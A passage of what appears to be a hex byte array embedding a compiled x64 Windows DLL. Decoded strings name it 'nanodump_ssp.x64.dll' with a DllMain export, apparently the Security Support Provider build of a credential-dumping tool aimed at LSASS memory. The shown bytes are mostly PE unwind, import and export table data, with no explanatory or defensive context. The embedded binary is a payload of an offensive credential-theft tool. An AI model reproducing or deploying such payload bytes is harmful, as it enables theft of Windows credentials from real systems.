,0x3D,0x00,0x00,0x5C,0xC2,0x00,0x00,0x20,0x3D,0x00,0x00,0x77,0x3D,0x00,0x00,0x60,0xC2,0x00,0x00,0x77,0x3D,0x00,0x00,0xD1,0x3D,0x00,0x00,0x64,0xC2,0x00,0x00,0xD1,0x3D,0x00,0x00,0x28,0x3E,0x00,0x00,0x68,0xC2,0x00,0x00,0x28,0x3E,0x00,0x00,0x7F,0x3E,0x00,0x00,0x6C,0xC2,0x00,0x00,0x7F,0x3E,0x00,0x00,0xD9,0x3E,0x00,0x00,0x70,0xC2,0x00,0x00,0xD9,0x3E,0x00,0x00,0x30,0x3F,0x00,0x00,0x74,0xC2,0x00,0x00,0x30,0x3F,0x00,0x00,0x87,0x3F,0x00,0x00,0x78,0xC2,0x00,0x00,0x87,0x3F,0x00,0x00,0xDE,0x3F,0x00,0x00,0x7C,0xC2,0x00,0x00,0xDE,0x3F,0x00,0x00,0x35,0x40,0x00,0x00,0x80,0xC2,0x00,0x00,0x35,0x40,0x00,0x00,0x8C,0x40,0x00,0x00,0x84,0xC2,0x00,0x00,0x8C,0x40,0x00,0x00,0xE3,0x40,0x00,0x00,0x88,0xC2,0x00,0x00,0xE3,0x40,0x00,0x00,0x3D,0x41,0x00,0x00,0x8C,0xC2,0x00,0x00,0x3D,0x41,0x00,0x00,0x97,0x41,0x00,0x00,0x90,0xC2,0x00,0x00,0x97,0x41,0x00,0x00,0xEE,0x41,0x00,0x00,0x94,0xC2,0x00,0x00,0xEE,0x41,0x00,0x00,0x48,0x42,0x00,0x00,0x98,0xC2,0x00,0x00,0x48,0x42,0x00,0x00,0x9F,0x42,0x00,0x00,0x9C,0xC2,0x00,0x00,0x9F,0x42,0x00,0x00,0xF6,0x42,0x00,0x00,0xA0,0xC2,0x00,0x00,0xF6,0x42,0x00,0x00,0x4D,0x43,0x00,0x00,0xA4,0xC2,0x00,0x00,0x4D,0x43,0x00,0x00,0xA4,0x43,0x00,0x00,0xA8,0xC2,0x00,0x00,0xA4,0x43,0x00,0x00,0xFE,0x43,0x00,0x00,0xAC,0xC2,0x00,0x00,0xFE,0x43,0x00,0x00,0x55,0x44,0x00,0x00,0xB0,0xC2,0x00,0x00,0x60,0x44,0x00,0x00,0xA9,0x44,0x00,0x00,0xB4,0xC2,0x00,0x00,0xA9,0x44,0x00,0x00,0x2C,0x45,0x00,0x00,0xC0,0xC2,0x00,0x00,0x2C,0x45,0x00,0x00,0x8E,0x46,0x00,0x00,0xCC,0xC2,0x00,0x00,0x8E,0x46,0x00,0x00,0x17,0x47,0x00,0x00,0xD8,0xC2,0x00,0x00,0x17,0x47,0x00,0x00,0x18,0x48,0x00,0x00,0xE4,0xC2,0x00,0x00,0x18,0x48,0x00,0x00,0x9F,0x4B,0x00,0x00,0xF0,0xC2,0x00,0x00,0x9F,0x4B,0x00,0x00,0x02,0x53,0x00,0x00,0xFC,0xC2,0x00,0x00,0x02,0x53,0x00,0x00,0x6E,0x53,0x00,0x00,0x0C,0xC3,0x00,0x00,0x6E,0x53,0x00,0x00,0xA6,0x55,0x00,0x00,0x18,0xC3,0x00,0x00,0xA6,0x55,0x00,0x00,0x65,0x59,0x00,0x00,0x24,0xC3,0x00,0x00,0x65,0x59,0x00,0x00,0x55,0x5A,0x00,0x00,0x30,0xC3,0x00,0x00,0x60,0x5A,0x00,0x00,0x08,0x5B,0x00,0x00,0x3C,0xC3,0x00,0x00,0x08,0x5B,0x00,0x00,0x92,0x5B,0x00,0x00,0x48,0xC3,0x00,0x00,0x92,0x5B,0x00,0x00,0x3D,0x5C,0x00,0x00,0x54,0xC3,0x00,0x00,0x3D,0x5C,0x00,0x00,0xB6,0x5D,0x00,0x00,0x60,0xC3,0x00,0x00,0xB6,0x5D,0x00,0x00,0x95,0x5F,0x00,0x00,0x70,0xC3,0x00,0x00,0x95,0x5F,0x00,0x00,0x37,0x61,0x00,0x00,0x7C,0xC3,0x00,0x00,0x40,0x61,0x00,0x00,0xB8,0x63,0x00,0x00,0x88,0xC3,0x00,0x00,0xB8,0x63,0x00,0x00,0xEC,0x64,0x00,0x00,0x94,0xC3,0x00,0x00,0xEC,0x64,0x00,0x00,0x82,0x65,0x00,0x00,0xA0,0xC3,0x00,0x00,0x82,0x65,0x00,0x00,0xC5,0x66,0x00,0x00,0xAC,0xC3,0x00,0x00,0xC5,0x66,0x00,0x00,0x24,0x68,0x00,0x00,0xB8,0xC3,0x00,0x00,0x24,0x68,0x00,0x00,0xDE,0x68,0x00,0x00,0xC4,0xC3,0x00,0x00,0xDE,0x68,0x00,0x00,0xD2,0x69,0x00,0x00,0xD0,0xC3,0x00,0x00,0xD2,0x69,0x00,0x00,0x67,0x6A,0x00,0x00,0xDC,0xC3,0x00,0x00,0x67,0x6A,0x00,0x00,0x28,0x6B,0x00,0x00,0xE8,0xC3,0x00,0x00,0x28,0x6B,0x00,0x00,0xC9,0x6B,0x00,0x00,0xF4,0xC3,0x00,0x00,0xD0,0x6B,0x00,0x00,0x6F,0x6F,0x00,0x00,0x00,0xC4,0x00,0x00,0x6F,0x6F,0x00,0x00,0xBF,0x6F,0x00,0x00,0x10,0xC4,0x00,0x00,0xC0,0x6F,0x00,0x00,0x03,0x70,0x00,0x00,0x1C,0xC4,0x00,0x00,0x10,0x70,0x00,0x00,0x8A,0x70,0x00,0x00,0x28,0xC4,0x00,0x00,0x90,0x70,0x00,0x00,0xAF,0x70,0x00,0x00,0x38,0xC4,0x00,0x00,0xB0,0x70,0x00,0x00,0xE0,0x70,0x00,0x00,0x3C,0xC4,0x00,0x00,0xE0,0x70,0x00,0x00,0x62,0x71,0x00,0x00,0x48,0xC4,0x00,0x00,0x70,0x71,0x00,0x00,0x73,0x71,0x00,0x00,0x58,0xC4,0x00,0x00,0x80,0x71,0x00,0x00,0xE9,0x71,0x00,0x00,0x5C,0xC4,0x00,0x00,0xF0,0x71,0x00,0x00,0x52,0x73,0x00,0x00,0x6C,0xC4,0x00,0x00,0x60,0x73,0x00,0x00,0xBD,0x76,0x00,0x00,0x7C,0xC4,0x00,0x00,0xC0,0x76,0x00,0x00,0x3B,0x77,0x00,0x00,0x94,0xC4,0x00,0x00,0x40,0x77,0x00,0x00,0xBF,0x77,0x00,0x00,0xA8,0xC4,0x00,0x00,0xC0,0x77,0x00,0x00,0x59,0x78,0x00,0x00,0xB8,0xC4,0x00,0x00,0x60,0x78,0x00,0x00,0x52,0x79,0x00,0x00,0xC8,0xC4,0x00,0x00,0x60,0x79,0x00,0x00,0x8C,0x79,0x00,0x00,0xD4,0xC4,0x00,0x00,0x90,0x79,0x00,0x00,0xE0,0x79,0x00,0x00,0xD8,0xC4,0x00,0x00,0xE0,0x79,0x00,0x00,0x86,0x7A,0x00,0x00,0xDC,0xC4,0x00,0x00,0x90,0x7A,0x00,0x00,0x10,0x7B,0x00,0x00,0xEC,0xC4,0x00,0x00,0x10,0x7B,0x00,0x00,0x47,0x7B,0x00,0x00,0xF0,0xC4,0x00,0x00,0x50,0x7B,0x00,0x00,0xC3,0x7B,0x00,0x00,0xF4,0xC4,0x00,0x00,0xD0,0x7B,0x00,0x00,0x06,0x7C,0x00,0x00,0xF8,0xC4,0x00,0x00,0x10,0x7C,0x00,0x00,0x99,0x7C,0x00,0x00,0xFC,0xC4,0x00,0x00,0xA0,0x7C,0x00,0x00,0x5E,0x7D,0x00,0x00,0x00,0xC5,0x00,0x00,0x60,0x7D,0x00,0x00,0x63,0x7D,0x00,0x00,0x04,0xC5,0x00,0x00,0xB0,0x7D,0x00,0x00,0xB6,0x7D,0x00,0x00,0x08,0xC5,0x00,0x00,0xC0,0x7D,0x00,0x00,0xE5,0x7D,0x00,0x00,0x0C,0xC5,0x00,0x00,0xF0,0x7D,0x00,0x00,0x16,0x7E,0x00,0x00,0x10,0xC5,0x00,0x00,0x20,0x7E,0x00,0x00,0x3D,0x7E,0x00,0x00,0x1C,0xC5,0x00,0x00,0x40,0x7E,0x00,0x00,0x18,0x7F,0x00,0x00,0x20,0xC5,0x00,0x00,0x20,0x7F,0x00,0x00,0x8E,0x7F,0x00,0x00,0x34,0xC5,0x00,0x00,0xD0,0x80,0x00,0x00,0xD5,0x80,0x00,0x00,0x44,0xC5,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x13,0x09,0x25,0x13,0x03,0x0E,0x32,0x0A,0x30,0x09,0x60,0x08,0x70,0x07,0xC0,0x05,0xD0,0x03,0xE0,0x01,0x50,0x00,0x00,0x01,0x11,0x08,0x25,0x11,0x03,0x0C,0x42,0x08,0x30,0x07,0x60,0x06,0x70,0x05,0xC0,0x03,0xD0,0x01,0x50,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x32,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x12,0x06,0x85,0x12,0x03,0x0A,0x01,0x4C,0x00,0x03,0x30,0x02,0x70,0x01,0x50,0x01,0x08,0x03,0x05,0x08,0x12,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x10,0x04,0x85,0x10,0x03,0x08,0x01,0x46,0x00,0x01,0x50,0x01,0x08,0x03,0x05,0x08,0x32,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x0B,0x04,0x05,0x0B,0x01,0x18,0x00,0x04,0x03,0x01,0x50,0x01,0x0B,0x04,0x05,0x0B,0x01,0x16,0x00,0x04,0x03,0x01,0x50,0x01,0x11,0x05,0x85,0x11,0x03,0x09,0x01,0x51,0x00,0x02,0x70,0x01,0x50,0x00,0x00,0x01,0x11,0x05,0x85,0x11,0x03,0x09,0x01,0x5B,0x00,0x02,0x70,0x01,0x50,0x00,0x00,0x01,0x11,0x05,0x85,0x11,0x03,0x09,0x01,0x5B,0x00,0x02,0x70,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x72,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x72,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x72,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x04,0x02,0x05,0x04,0x03,0x01,0x50,0x01,0x08,0x03,0x05,0x08,0x52,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x52,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x52,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x04,0x02,0x05,0x04,0x03,0x01,0x50,0x01,0x0B,0x04,0x55,0x0B,0x03,0x06,0xA2,0x02,0x30,0x01,0x50,0x01,0x08,0x03,0x05,0x08,0xD2,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0xD2,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x12,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0xB2,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x72,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x72,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x10,0x04,0x85,0x10,0x03,0x08,0x01,0x74,0x00,0x01,0x50,0x01,0x00,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x32,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x72,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x12,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x11,0x05,0xE5,0x11,0x03,0x09,0x01,0x1D,0x00,0x02,0x30,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x52,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x52,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x52,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x52,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0xD2,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x0B,0x04,0x35,0x0B,0x03,0x06,0x62,0x02,0x30,0x01,0x50,0x01,0x08,0x03,0x05,0x08,0xB2,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x0B,0x04,0x05,0x0B,0x01,0x1C,0x00,0x04,0x03,0x01,0x50,0x01,0x11,0x05,0x85,0x11,0x03,0x09,0x01,0x3B,0x00,0x02,0x70,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x12,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x0B,0x04,0x05,0x0B,0x01,0x14,0x00,0x04,0x03,0x01,0x50,0x01,0x0B,0x04,0x75,0x0B,0x03,0x06,0xE2,0x02,0x30,0x01,0x50,0x01,0x08,0x03,0x05,0x08,0x52,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x52,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x32,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0xB2,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x11,0x05,0x85,0x11,0x03,0x09,0x01,0x6D,0x00,0x02,0x70,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0xF2,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0xF2,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x0B,0x04,0x05,0x0B,0x01,0x18,0x00,0x04,0x03,0x01,0x50,0x01,0x08,0x03,0x05,0x08,0xB2,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x52,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x0B,0x04,0x55,0x0B,0x03,0x06,0xA2,0x02,0x30,0x01,0x50,0x01,0x0B,0x04,0x35,0x0B,0x03,0x06,0x62,0x02,0x30,0x01,0x50,0x01,0x08,0x03,0x05,0x08,0x92,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x52,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x52,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x52,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x0B,0x04,0x35,0x0B,0x03,0x06,0x62,0x02,0x30,0x01,0x50,0x01,0x12,0x06,0x85,0x12,0x03,0x0A,0x01,0x54,0x00,0x03,0x30,0x02,0x70,0x01,0x50,0x01,0x08,0x03,0x05,0x08,0x32,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x32,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x0C,0x05,0x25,0x0C,0x03,0x07,0x32,0x03,0x30,0x02,0x60,0x01,0x50,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x32,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x0C,0x05,0x25,0x0C,0x03,0x07,0x32,0x03,0x30,0x02,0x60,0x01,0x50,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x0C,0x05,0x35,0x0C,0x03,0x07,0x52,0x03,0x30,0x02,0x60,0x01,0x50,0x00,0x00,0x01,0x0D,0x06,0x55,0x0D,0x03,0x08,0xA2,0x04,0x30,0x03,0x60,0x02,0x70,0x01,0x50,0x01,0x15,0x0A,0x45,0x15,0x03,0x10,0x82,0x0C,0x30,0x0B,0x60,0x0A,0x70,0x09,0xC0,0x07,0xD0,0x05,0xE0,0x03,0xF0,0x01,0x50,0x01,0x11,0x08,0x25,0x11,0x03,0x0C,0x42,0x08,0x30,0x07,0x60,0x06,0x70,0x05,0xC0,0x03,0xD0,0x01,0x50,0x01,0x0D,0x06,0x25,0x0D,0x03,0x08,0x42,0x04,0x30,0x03,0x60,0x02,0x70,0x01,0x50,0x01,0x0C,0x05,0x25,0x0C,0x03,0x07,0x32,0x03,0x30,0x02,0x60,0x01,0x50,0x00,0x00,0x01,0x0B,0x04,0x25,0x0B,0x03,0x06,0x42,0x02,0x30,0x01,0x50,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x0D,0x06,0x25,0x0D,0x03,0x08,0x42,0x04,0x30,0x03,0x60,0x02,0x70,0x01,0x50,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x0B,0x04,0x25,0x0B,0x03,0x06,0x42,0x02,0x30,0x01,0x50,0x01,0x00,0x00,0x00,0x01,0x0F,0x07,0x25,0x0F,0x03,0x0A,0x32,0x06,0x30,0x05,0x60,0x04,0x70,0x03,0xC0,0x01,0x50,0x00,0x00,0x01,0x0D,0x06,0x25,0x0D,0x03,0x08,0x42,0x04,0x30,0x03,0x60,0x02,0x70,0x01,0x50,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7C,0x79,0x7A,0x68,0x00,0x00,0x00,0x00,0x32,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x00,0x01,0x00,0x2C,0x00,0x01,0x00,0x30,0x00,0x01,0x00,0x6F,0x6F,0x00,0x00,0x47,0x00,0x01,0x00,0x00,0x00,0x6E,0x61,0x6E,0x6F,0x64,0x75,0x6D,0x70,0x5F,0x73,0x73,0x70,0x2E,0x78,0x36,0x34,0x2E,0x64,0x6C,0x6C,0x00,0x44,0x6C,0x6C,0x4D,0x61,0x69,0x6E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x10,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xF0,0x14,0x01,0x00,0x88,0x11,0x01,0x00,0xA8,0x10,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x6C,0x15,0x01,0x00,0xF0,0x11,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xD0,0x12,0x01,0x00,0x00,0x00,0x00,0x00,0xE8,0x12,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x13,0x01,0x00,0x00,0x00,0x00,0x00,0x10,0x13,0x01,0x00,0x00,0x00,0x00,0x00,0x22,0x13,0x01,0x00,0x00,0x00,0x00,0x00,0x2E,0x13,0x01,0x00,0x00,0x00,0x00,0x00,0x3A,0x13,0x01,0x00,0x00,0x00,0x00,0x00,0x56,0x13,0x01,0x00,0x00,0x00,0x00,0x00,0x6E,0x13,0x01,0x00,0x00,0x00,0x00,0x00,0x76,0x13,0x01,0x00,0x00,0x00,0x00,0x00,0x84,0x13,0x01,0x00,0x00,0x00,0x00,0x00,0x96,0x13,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xA6,0x13,0x01,0x00,0x00,0x00,0x00,0x00,0xB4,0x13,0x01,0x00,0x00,0x00,0x00,0x00,0xC2,0x13,0x01,0x00,0x00,0x00,0x00,0x00,0xCE,0x13,0x01,0x00,0x00,0x00,0x00,0x00,0xD6,0x13,0x01,0x00,0x00,0x00,0x00,0x00,0xE0,0x13,0x01,0x00,0x00,0x00,0x00,0x00,0xEA,0x13,0x01,0x00,0x00,0x00,0x00,0x00,0xF6,0x13,0x01,0x00,0x00,0x00,0x00,0x00,0xFE,0x13,0x01,0x00,0x00,0x00,0x00,0x00,0x08,0x14,0x01,0x00,0x00,0x00,0x00,0x00,0x10,0x14,0x01,0x00,0x00,0x00,0x00,0x00,0x1A,0x14,0x01,0x00,0x00,0x00,0x00,0x00,0x26,0x14,0x01,0x00,0x00,0x00,0x00,0x00,0x30,0x14,0x01,0x00,0x00,0x00,0x00,0x00,0x3A,0x14,0x01,0x00,0x00,0x00,0x00,0x00,0x44,0x14,0x01,0x00,0x00,0x00,0x00,0x00,0x4C,0x14,0x01,0x00,0x00,0x00,0x00,0x00,0x56,0x14,0x01,0x00,0x00,0x00,0x00,0x00,0x5E,0x14,0x01,0x00,0x00,0x00,0x00,0x00,0x68,0x14,0x01,0x00,0x00,0x00,0x00,0x00,0x72,0x14,0x01,0x00,0x00,0x00,0x00,0x00,0x7C,0x14,0x01,0x00,0x00,0x00,0x00,0x00,0x86,0x14,0x01,0x00,0x00,0x00,0x00,0x00,0x94,0x14,0x01,0x00,0x00,0x00,0x00,0x00,0xA0,0x14,0x01,0x00,0x00,0x00,0x00,0x00,0xAA,0x14,0x01,0x00,0x00,0x00,0x00,0x00,0xB4,0x14,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xD0,0x12,0x01,0x00,0x00,0x00,0x00,0x00,0xE8,0x12,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x13,0x01,0x00,0x00,0x00,0x00,0x00,0x10,0x13,0x01,0x00,0x00,0x00,0x00,0x00,0x22,0x13,0x01,0x00,0x00,0x00,0x00,0x00,0x2E,0x13,0x01,0x00,0x00,0x00,0x00,0x00,0x3A,0x13,0x01,0x00,0x00,0x00,0x00,0x00,0x56,0x13,0x01,0x00,0x00,0x00,0